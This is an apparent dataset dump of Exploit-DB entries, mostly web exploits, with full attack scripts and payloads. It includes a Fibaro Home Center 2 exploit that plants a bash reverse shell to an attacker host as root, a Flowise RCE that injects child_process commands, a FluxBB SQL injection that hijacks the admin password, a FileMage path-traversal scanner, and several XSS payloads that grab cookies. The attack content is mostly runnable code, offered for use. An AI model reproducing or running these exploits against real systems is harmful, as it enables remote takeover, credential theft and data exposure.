deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42884
Description: Fibaro Home Center 2 - Remote Command Execution / Privilege Escalation
Type: webapps
Platform: multiple
Date: 2017-02-22
Author: forsec

Exploit:
#!/usr/bin/python

import requests
import argparse
import urllib
import base64
import tarfile
import os

parser = argparse.ArgumentParser(description='Fibaro RCE')
parser.add_argument('--rhost')
parser.add_argument('--lhost')
parser.add_argument('--lport')
args = parser.parse_args()

f = open('run.sh', 'w')
f.write('#!/bin/bash\n')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\n')
f.close()

os.chmod('run.sh', 0777)

tar = tarfile.open("root.tar.gz", "w:gz")
tar.add("run.sh")
tar.close()

with open("root.tar.gz", "rb") as tarfile:
tar64 = base64.b64encode(tarfile.read())

wwwexec = urllib.quote_plus(base64.b64encode("echo '" + tar64 + "' | base64 -d > /tmp/patch.tar.gz && sudo update --manual /tmp/patch.tar.gz"))

os.remove('run.sh')
os.remove('root.tar.gz')

headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Fibaro-Version': '2',
'X-Requested-With': 'XMLHttpRequest',
}

data = 'deviceID=1&deviceName=&deviceType=&cmd1=`echo${IFS}' + wwwexec + '|base64${IFS}-d|/bin/bash`&cmd2=&roomID=1&roomName=&sectionID=&sectionName=&lang=en'
print "[+] Popping a root shell..."

requests.post('http://' + args.rhost + '/services/liliSetDeviceCommand.php', headers=headers, data=data, verify=False)
Exploit-DB #48240
Description: FIBARO System Home Center 5.021 - Remote File Include
Type: webapps
Platform: multiple
Date: 2020-03-23
Author: LiquidWorm

Exploit:
# Exploit Title: FIBARO System Home Center 5.021 - Remote File Include
# Date: 2020-03-22
# Author: LiquidWorm
# Vendor: https://www.fibaro.com
# CVE: N/A

Vendor: FIBAR GROUP S.A.
Product web page: https://www.fibaro.com
Affected version: Home Center 3, Home Center 2, Home Center Lite
                  5.021.38
                  4.580
                  4.570
                  4.540
                  4.530
                  4.510
                  4.180


Summary: Imagine that you live in a house where everything happens by itself.
FIBARO Smart Home takes care of your everyday comfort and safety of all family
members and in the meantime, saves energy on every single occasion. All this is
possible thanks to Home Center 2 smart home HUB. Home Center 2 is an indispensable
part of the FIBARO System without which the rest devices of home automation would
be only beautiful objects. The smart home HUB collects and analyzes information
about devices, communicates them with each other and thus directs the operation
of the entire system and takes care of its security.

Desc: The smart home solution is vulnerable to a remote Cross-Site Scripting
triggered via a Remote File Inclusion issue by including arbitrary client-side
dynamic scripts (JavaScript, VBScript) due to the undocumented proxy API and its
url GET parameter. This allows hijacking the current session of the user or
changing the look of the page by changing the HTML.

Tested on: Apache/2.2.16 (Debian)
           nginx/1.9.5
           nginx/1.8.0
           lighttpd/1.4.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5563
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5563.php


04.02.2020

--


http://10.0.0.2:8880/api/proxy?url=https://www.zeroscience.mk/pentest/XSS.svg

$ cat /pentest/XSS.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
Exploit-DB #51708
Description: FileMage Gateway 1.10.9 - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2023-09-04
Author: Bryce Raindayzz Harty

Exploit:
# Exploit Title: FileMage Gateway 1.10.9 - Local File Inclusion
# Date: 8/22/2023
# Exploit Author: Bryce "Raindayzz" Harty   
# Vendor Homepage: https://www.filemage.io/
# Version: Azure Versions < 1.10.9
# Tested on: All Azure deployments < 1.10.9 
# CVE : CVE-2023-39026

# Technical Blog - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
# Patch from vendor - https://www.filemage.io/docs/updates.html

import requests
import warnings
warnings.filterwarnings("ignore")
def worker(url):
    response = requests.get(url, verify=False, timeout=.5)
    return response
def main():
    listIP = []
    file_path = input("Enter the path to the file containing the IP addresses: ")
    with open(file_path, 'r') as file:
        ip_list = file.read().splitlines()
        searchString = "tls"
        for ip in ip_list:
            url = f"https://{ip}" + "/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml"
            try:
                response = worker(url)
                #print(response.text)
                if searchString in response.text:
                    print("Vulnerable IP: " + ip)
                    print(response.text)
                    listIP.append(ip)
            except requests.exceptions.RequestException as e:  
                print(f"Error occurred for {ip}: {str(e)}")

    for x in listIP:
        print(x)
if __name__ == '__main__':
    main()
Exploit-DB #48607
Description: FileRun 2019.05.21 -  Reflected Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-06-22
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: FileRun 2019.05.21 -  Reflected Cross-Site Scripting
# Date: 2019-07-01
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.filerun.com/
# Software Link: https://filerun.com/download
# Version: v2019.05.21
# Tested on: Windows/Linux
# CVE: CVE-2019-12905

# CVE-2019-12905
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12905
# https://github.com/EmreOvunc/FileRun-Vulnerabilities/issues/3

# PoC

To exploit vulnerability, someone could upload an allowed file named “><img
src=x onerror=prompt(document.domain)> to impact users who open the page.

POST /filerun/?module=fileman&section=do&page=up HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.191.129/filerun/
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 6034
DNT: 1
Connection: close
Cookie: FileRunSID=aqlneuv86ccj3pi4h476faopi5

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="flowTotalSize"

5100
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="flowIsFirstChunk"

1
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="flowIsLastChunk"

1
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="flowFilename"

â��><img src=x onerror=prompt(document.domain)>.jpg
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="path"

/ROOT/HOME
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file"; filename="â��><img src=x
onerror=prompt(document.domain)>.jpg"
Content-Type: image/jpg

<%@ I said you should learn! %>


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #35743
Description: Flash Tag Cloud And MT-Cumulus Plugin - 'tagcloud' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2011-05-13
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/47845/info

The Flash Tag Cloud widget and the MT-Cumulus Plugin are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following versions are affected:

Flash Tag Cloud For MT 4
MT-Cumulus 1.02 and prior versions 

http://www.example.com/scripts/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

http://www.example.com/mt/mt-static/plugins/Cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Exploit-DB #50544
Description: FLEX 1085 Web 1.6.0 - HTML Injection
Type: webapps
Platform: multiple
Date: 2021-11-23
Author: Mr Empy

Exploit:
# Exploit Title: FLEX 1085 Web 1.6.0 - HTML Injection
# Date: 2021-11-21
# Exploit Author: Mr Empy
# Vendor Homepage: https://www.tem.ind.br/
# Software Link: https://www.tem.ind.br/?page=prod-detalhe&id=94
# Version: 1.6.0
# Tested on: Android


Title:
================
FLEX 1085 Web - HTML Injection

Summary:
================
The FLEX 1085 Web appliance is vulnerable to an HTML injection attack that
allows the injection of arbitrary HTML code.


Severity Level:
================
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N


Vulnerability Disclosure Schedule:
============================
* October 19, 2021: An email was sent to support at 6:08MP.

* November 20, 2021: I didn't get any response from support.

* November 21, 2021: Vulnerability Disclosure


Affected Product:
================
FLEX 1085 Web v1.6.0


Steps to Reproduce:
================

1. Open your browser and search for your device's IP address (http://<IP>).

2. Log in to the device's dashboard and go to "WiFi".

3. Use another device that has an access point and create a Wi-Fi network
called "<h1>HTML Injection</h1>" (no double quotes) and activate the access
point. (https://prnt.sc/20e4y88)

4. Go back to the FLEX device and when scanning the new WiFi networks, the
new network will appear written "HTML Injection" in bold and with a larger
font size. (http://prnt.sc/20e51li)
Exploit-DB #49305
Description: Flexmonster Pivot Table & Charts 2.7.17 - 'Remote JSON' Reflected XSS
Type: webapps
Platform: multiple
Date: 2020-12-21
Author: Marco Nappi

Exploit:
# Exploit Title: Flexmonster Pivot Table & Charts 2.7.17 - 'Remote JSON' Reflected XSS
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: https://www.flexmonster.com/
# Version: Flexmonster Pivot Table & Charts 2.7.17
# Tested on: Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20139

Cross Site Scripting (XSS) vulnerability in the Remote JSON component 

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OpenRemoteJSON")><!--
Exploit-DB #49302
Description: Flexmonster Pivot Table & Charts 2.7.17 - 'Remote Report' Reflected XSS
Type: webapps
Platform: multiple
Date: 2020-12-21
Author: Marco Nappi

Exploit:
# Exploit Title: Flexmonster Pivot Table & Charts 2.7.17 - 'Remote Report' Reflected XSS
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: https://www.flexmonster.com/
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20140

Cross Site Scripting (XSS) vulnerability in Remote Report component under the Open menu in Flexmonster Pivot Table & Charts 2.7.17

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OpenRemoteReport")><!--
Exploit-DB #49303
Description: Flexmonster Pivot Table & Charts 2.7.17 - 'To OLAP' Reflected XSS
Type: webapps
Platform: multiple
Date: 2020-12-21
Author: Marco Nappi

Exploit:
# Exploit Title: Flexmonster Pivot Table & Charts 2.7.17 - 'To OLAP' Reflected XSS
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: https://www.flexmonster.com/
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20141

Cross Site Scripting (XSS) vulnerability in the To OLAP (XMLA) component Under the Connect menu in Flexmonster Pivot Table & Charts 2.7.17.

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OLAPTool")><!--
Exploit-DB #49304
Description: Flexmonster Pivot Table & Charts 2.7.17 - 'To remote CSV' Reflected XSS
Type: webapps
Platform: multiple
Date: 2020-12-21
Author: Marco Nappi

Exploit:
# Exploit Title: Flexmonster Pivot Table & Charts 2.7.17 - 'To remote CSV' Reflected XSS
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: https://www.flexmonster.com/
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20142

Cross Site Scripting (XSS) vulnerability in the "To Remote CSV" component under "Open" Menu in Flexmonster Pivot Table & Charts 2.7.17.

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OpenRemoteCSV")><!--
Exploit-DB #52440
Description: Flowise 3.0.4 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2025-10-31
Author: nltt0

Exploit:
# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE)
# Date: 10/11/2025
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise
# Version: < 3.0.5
# CVE: CVE-2025-59528

from requests import post, session
from argparse import ArgumentParser

banner = r"""
_____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                          |___/                  
                
                by nltt0
"""

try:
    parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd \"http://localhost:1337/`whoami`\"")
    parser.add_argument('-e', '--email', required=True, help='Registered email')
    parser.add_argument('-p', '--password', required=True)
    parser.add_argument('-u', '--url', required=True)
    parser.add_argument('-c', '--cmd', required=True)

    args = parser.parse_args()
    email = args.email
    password = args.password
    url = args.url
    cmd = args.cmd

    def login(email, url):
        session = session()
        url_format = "{}/api/v1/auth/login".format(url)
        headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
        data={"email": email, "password": password}
        r = session.post(url_format, headers=headers, json=data)
        return session, r   
        
    def rce(email, url, password, cmd):
        session, status_code = login(email, url)
        url_format = "{}/api/v1/node-load-method/customMCP".format(url)
        command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'

        data = {
            "loadMethod": "listActions",
            "inputs": {
                "mcpServerConfig": command
            }
        }

        r = session.post(url_format, json=data)

        if r.status_code == 401:
            session.headers["x-request-from"] = "internal"
            session.post(url_format, json=data)

        print(f"[x] Command executed [{cmd}]")    

    rce(email, url, password, cmd)

except Exception as e:
    print('Error in {}'.format(e))
Exploit-DB #35941
Description: Flowplayer 3.2.7 - 'linkUrl' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2011-07-12
Author: Szymon Gruszecki

Exploit:
source: https://www.securityfocus.com/bid/48651/info

Flowplayer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Flowplayer 3.2.7 is vulnerable; other versions may also be affected.

http://www.example.com/flowplayer/flowplayer-3.2.7.swf?config={%22clip%22:{%22url%22:%22http://www.example.com/vod/demo.flowplayervod/flowplayer-700.flv%22,%20%22linkUrl%22:%22javascript:alert%28String.fromCharCode%2888,83,83%29%29;alert%28document.cookie%29%22},%22screen%22:{%22height%22:%22100pct%22,%22top%22:0},%22plugins%22:{%22controls%22:{%22timeColor%22:%22#ffffff%22,%22borderRadius%22:%220px%22,%22buttonOffColor%22:%22rgba%28130,130,130,1%29%22,%22bufferGradient%22:%22none%22,%22sliderColor%22:%22#000000%22,%22zIndex%22:1,%22backgroundColor%22:%22rgba%280,%200,%200,%200%29%22,%22scrubberHeightRatio%22:0.6,%22tooltipTextColor%22:%22#ffffff%22,%22volumeSliderGradient%22:%22none%22,%22spacing%22:{%22time%22:6,%22volume%22:8,%22all%22:2},%22sliderGradient%22:%22none%22,%22timeBorderRadius%22:20,%22timeBgHeightRatio%22:0.8,%22volumeSliderHeightRatio%22:0.6,%22progressGradient%22:%22none%22,%22height%22:26,%22volumeColor%22:%22#4599ff%22,%22tooltips%22:{%22marginBottom%22:5,%22buttons%22:false},%22timeSeparator%22:%22%20%22,%22name%22:%22controls%22,%22volumeBarHeightRatio%22:0.2,%22opacity%22:1,%22timeFontSize%22:12,%22left%22:%2250pct%22,%22tooltipColor%22:%22rgba%280,%200,%200,%200%29%22,%22bufferColor%22:%22#a3a3a3%22,%22volumeSliderColor%22:%22#ffffff%22,%22border%22:%220px%22,%22buttonColor%22:%22#ffffff%22,%22durationColor%22:%22#b8d9ff%22,%22autoHide%22:{%22enabled%22:true,%22hideDelay%22:500,%22hideStyle%22:%22fade%22,%22mouseOutDelay%22:500,%22hideDuration%22:400,%22fullscreenOnly%22:true},%22backgroundGradient%22:%22none%22,%22width%22:%22100pct%22,%22sliderBorder%22:%221px%20solid%20rgba%28128,%20128,%20128,%200.7%29%22,%22display%22:%22block%22,%22buttonOverColor%22:%22#ffffff%22,%22url%22:%22flowplayer.controls-3.2.5.swf%22,%22timeBorder%22:%220px%20solid%20rgba%280,%200,%200,%200.3%29%22,%22progressColor%22:%22#4599ff%22,%22timeBgColor%22:%22rgb%280,%200,%200,%200%29%22,%22scrubberBarHeightRatio%22:0.2,%22bottom%22:0,%22builtIn%22:false,%22volumeBorder%22:%221px%20solid%20rgba%28128,%20128,%20128,%200.7%29%22,%22margins%22:[2,12,2,12]}}}
Exploit-DB #45595
Description: FluxBB < 1.5.6 - SQL Injection
Type: webapps
Platform: multiple
Date: 2014-11-21
Author: secthrowaway

Exploit:
#!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway () safe-mail net
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable

url  = 'http://target.tld/forum/'
user = 'user' # dummy account
pwd  = 'test' 

import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'

def stage1(sql):
	if len(sql) > 80:
		sys.exit('SQL too long, max 80 chars')
	print "1st stage: %s (%d chars)" % (sql, len(sql))
	r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_[CREDENTIAL_REDACTED]_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read()
	if 'An email has been sent to the specified address' not in r:
		sys.exit('err')

def stage3(key):
	print "3rd stage, using key: %s" % key
	r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read()
	if 'Your password has been updated' in r:
		print 'success'
	else:
		print 'err'

class stage2_smtp(smtpd.SMTPServer):
	def process_message(self, peer, mailfrom, rcpttos, data):
		print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
		key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
		if key is not None: 
			raise asyncore.ExitNow(key.group(2))
		return

def login():
	print "logging in"
	r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
	try:
		t = r.info()['set-cookie'].split(';')[0]
		return (t.split('=')[1].split('%7C')[0], t)
	except:
		sys.exit('unable to login, check user/pass')

uid, cookie = login()

email_domain = urlopen(Request('http://tns.re/gen')).read()
print "using domain: %s" % email_domain

#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))

#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))

try:
	print "2nd stage: waiting for mail"
	server = stage2_smtp((bindip, 25), None)
	asyncore.loop()
except asyncore.ExitNow, key:
	stage3(key)